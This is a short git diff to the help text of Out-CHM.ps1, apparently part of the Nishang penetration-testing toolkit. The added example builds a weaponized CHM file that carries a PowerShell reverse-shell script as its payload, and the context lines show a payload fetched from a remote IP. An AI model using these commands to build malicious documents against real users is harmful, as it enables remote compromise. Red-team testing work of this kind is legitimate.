diff --git a/Client/Out-CHM.ps1 b/Client/Out-CHM.ps1 index 68c9aaf..a82095f 100644 --- a/Client/Out-CHM.ps1 +++ b/Client/Out-CHM.ps1 @@ -60,6 +60,12 @@ PS > Out-CHM -PayloadURL http://192.168.254.1/powerpreter.psm1 -Arguments Check- Use above command to pass an argument to the PowerShell script/module. +.EXAMPLE +PS > Out-CHM -PayloadScript C:\nishang\Shells\Invoke-PowerShellTcpOneLine.ps1 + +Use above when you want to use a PowerShell script as the payload. Note that if the script expects any parameter passed to it, +you must pass the parameters in the script itself. + .LINK http://www.labofapenetrationtester.com/2014/11/powershell-for-client-side-attacks.html https://github.com/samratashok/nishang